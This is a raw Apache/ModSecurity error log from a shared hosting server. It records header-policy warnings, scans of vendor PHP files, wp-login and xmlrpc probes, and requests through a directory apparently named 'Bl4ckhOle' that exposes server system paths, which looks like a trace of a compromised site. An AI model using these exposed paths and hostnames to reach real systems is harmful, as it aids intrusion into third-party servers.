[Fri Jul 17 09:50:31.445179 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Constraints/Choice.php"] [unique_id "almtj_wooI4qY7Jg93pf5wAAABM"]
[Fri Jul 17 09:50:31.445535 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Constraints/Choice.php"] [unique_id "almtj_wooI4qY7Jg93pf5wAAABM"]
[Fri Jul 17 09:50:31.445943 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Constraints/Choice.php"] [unique_id "almtj_wooI4qY7Jg93pf5wAAABM"]
[Fri Jul 17 09:50:31.622705 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:52110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:32.473216 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:52132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:33.121217 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:33.214616 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:33.510193 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:33.779813 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almtkZuhBssQvDAz4zCrkwAAABI"]
[Fri Jul 17 09:50:33.780685 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almtkZuhBssQvDAz4zCrkwAAABI"]
[Fri Jul 17 09:50:33.780993 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almtkZuhBssQvDAz4zCrkwAAABI"]
[Fri Jul 17 09:50:33.935900 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:52198] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:34.056276 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:34.150503 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:34.239865 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:35.136124 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/tests/unit/MultipleValueOrTextNodeTest.php"] [unique_id "almtkpuhBssQvDAz4zCrlQAAABI"]
[Fri Jul 17 09:50:35.136505 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/tests/unit/MultipleValueOrTextNodeTest.php"] [unique_id "almtkpuhBssQvDAz4zCrlQAAABI"]
[Fri Jul 17 09:50:35.136891 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/tests/unit/MultipleValueOrTextNodeTest.php"] [unique_id "almtkpuhBssQvDAz4zCrlQAAABI"]
[Fri Jul 17 09:50:36.289539 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/src/Method/Validator.php"] [unique_id "almtlLEWOaI5pmYo9fnZtQAAAAA"]
[Fri Jul 17 09:50:36.289943 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/src/Method/Validator.php"] [unique_id "almtlLEWOaI5pmYo9fnZtQAAAAA"]
[Fri Jul 17 09:50:36.292294 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/src/Method/Validator.php"] [unique_id "almtlLEWOaI5pmYo9fnZtQAAAAA"]
[Fri Jul 17 09:50:36.935702 2026] [security2:error] [pid 2050572:tid 2050572] [client 57.141.18.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory35/subsystem/devices/memory142/node0/memory73/subsystem/devices/memory125/"] [unique_id "almtlGuF39UwWB2KWdbToAAAAA8"]
[Fri Jul 17 09:50:36.935748 2026] [security2:error] [pid 2050572:tid 2050572] [client 57.141.18.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory35/subsystem/devices/memory142/node0/memory73/subsystem/devices/memory125/"] [unique_id "almtlGuF39UwWB2KWdbToAAAAA8"]
[Fri Jul 17 09:50:36.936363 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:37.202005 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:37.306457 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:37.424826 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:37.475041 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:37.696127 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/fd/5
[Fri Jul 17 09:50:37.959032 2026] [core:crit] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/backup/js/Bl4ckhOle/root/home/cagefs-skeleton/proc/thread-self/cwd/var/lib/imunify360/wafd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/backup/js/Bl4ckhOle/root/home/cagefs-skeleton/proc/thread-self/cwd/var/lib/imunify360/wafd/' is executable
[Fri Jul 17 09:50:39.060341 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:39.355074 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:39.477436 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:39.479140 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:42.070349 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:55812] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:42.124688 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:42.256247 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:42.256403 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:42.576562 2026] [security2:error] [pid 2050582:tid 2050582] [client 47.79.51.30:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:66/subsystem/console/power/autosuspend_delay_ms"] [unique_id "almtmnXJZgUJ1jsEHj0syAAAABc"]
[Fri Jul 17 09:50:42.576611 2026] [security2:error] [pid 2050582:tid 2050582] [client 47.79.51.30:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/sys/dev/char/4:66/subsystem/console/power/autosuspend_delay_ms"] [unique_id "almtmnXJZgUJ1jsEHj0syAAAABc"]
[Fri Jul 17 09:50:42.596973 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:42.666456 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:43.150133 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:43.159644 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:44.271318 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:44.407551 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:45.432717 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:55910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:47.323506 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:47.676293 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:47.812978 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:47.839216 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:47.913380 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:48.110646 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:48.149439 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:48.382876 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:48.475135 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:49.217524 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 47.79.51.149:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-usr-local-cpanel-lib.mount/cgroup.event_control
[Fri Jul 17 09:50:49.219624 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:49.321711 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:49.328694 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:49.494751 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:49.502347 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:49.713578 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:51.594581 2026] [security2:error] [pid 2030955:tid 2030955] [client 165.56.14.59:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "almto_wooI4qY7Jg93pf9QAAABM"]
[Fri Jul 17 09:50:51.594631 2026] [security2:error] [pid 2030955:tid 2030955] [client 165.56.14.59:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "almto_wooI4qY7Jg93pf9QAAABM"]
[Fri Jul 17 09:50:51.766992 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:52042] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:52.839550 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:53.074484 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:53.086237 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:52096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:50:53.322571 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:53.325811 2026] [security2:error] [pid 2029579:tid 2029579] [client 47.82.8.17:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:69/subsystem/input6/subsystem/input5/"] [unique_id "almtpSRF0UOO1RzB5_85LAAAAA4"]
[Fri Jul 17 09:50:53.325843 2026] [security2:error] [pid 2029579:tid 2029579] [client 47.82.8.17:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:69/subsystem/input6/subsystem/input5/"] [unique_id "almtpSRF0UOO1RzB5_85LAAAAA4"]
[Fri Jul 17 09:50:53.406005 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:53.741006 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:50:55.691943 2026] [rewrite:error] [pid 2019501:tid 2019501] [client 144.76.19.75:0] AH10411: Rewritten query string contains control characters or spaces
[Fri Jul 17 09:50:58.223663 2026] [security2:error] [pid 2034024:tid 2034024] [client 57.141.18.54:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory112/node0/memory95/node0/memory116/node0/memory131/power/"] [unique_id "almtqo-0g_VSPeIeFN3K6wAAAAs"]
[Fri Jul 17 09:50:58.223836 2026] [security2:error] [pid 2034024:tid 2034024] [client 57.141.18.54:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory112/node0/memory95/node0/memory116/node0/memory131/power/"] [unique_id "almtqo-0g_VSPeIeFN3K6wAAAAs"]
[Fri Jul 17 09:50:58.229253 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:52350] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:09.461824 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:09.463938 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:09.465197 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:09.530172 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:09.571426 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:09.659798 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:09.759583 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:09.849820 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:09.937385 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:10.027495 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:10.120728 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:10.211000 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:10.576510 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:10.781616 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/mousedev/uevent
[Fri Jul 17 09:51:10.964569 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:11.138229 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:13.758001 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:40726] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:15.160289 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:40876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:16.608428 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:41018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:16.975403 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.114900 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.187258 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.226831 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.234170 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.276488 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.321647 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.389224 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.491560 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.517931 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.567137 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.619781 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:41112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:17.621985 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.762120 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.794968 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.818504 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.871733 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.896335 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.915747 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.939844 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.967859 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:17.981390 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:18.029703 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:51:19.663246 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:41284] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:20.168751 2026] [security2:error] [pid 1993671:tid 1993671] [client 62.60.130.233:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almtwA5GPQ6hs4VrfMpNAAAAAAY"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:51:20.168791 2026] [security2:error] [pid 1993671:tid 1993671] [client 62.60.130.233:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almtwA5GPQ6hs4VrfMpNAAAAAAY"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:51:23.888243 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:57398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:26.385311 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:57682] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:27.101884 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:57750] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:30.835023 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:58020] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:51:32.915641 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:51000] AH02013: coalesce failed to read from data bucket
